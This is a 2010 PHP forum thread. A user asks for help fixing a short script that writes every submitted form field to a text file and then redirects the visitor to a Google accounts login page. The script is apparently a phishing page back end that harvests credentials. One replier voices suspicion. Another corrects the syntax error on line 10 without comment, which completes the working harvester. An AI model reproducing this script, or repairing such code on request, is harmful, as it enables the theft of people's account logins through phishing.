Page 1 of 1

i need some help

Posted: Thu Jan 21, 2010 12:31 am
by networkzombie
I've been trying to fix this but I can't. I would be thankful if somebody can do it for me. There is an error on line 10


<?php
header ('Location: https://www.google.com/accounts/Service ... mplcache=2 ');
$handle = fopen("list.txt.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle);
exit;
?>

Re: i need some help

Posted: Thu Jan 21, 2010 1:47 am
by requinix
I'm confused. What is this code supposed to do?

I was asking because I have my suspicions...

Re: i need some help

Posted: Thu Jan 21, 2010 3:05 am
by mothore
networkzombie wrote:I've been trying to fix this but I can't. I would be thankful if somebody can do it for me. There is an error on line 10


<?php
header ('Location: https://www.google.com/accounts/Service ... mplcache=2 ');
$handle = fopen("list.txt.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle);
exit;
?>
Line 10: fwrite($ handle, "\r\n"); <- Should read: fwrite($handle, "\r\n");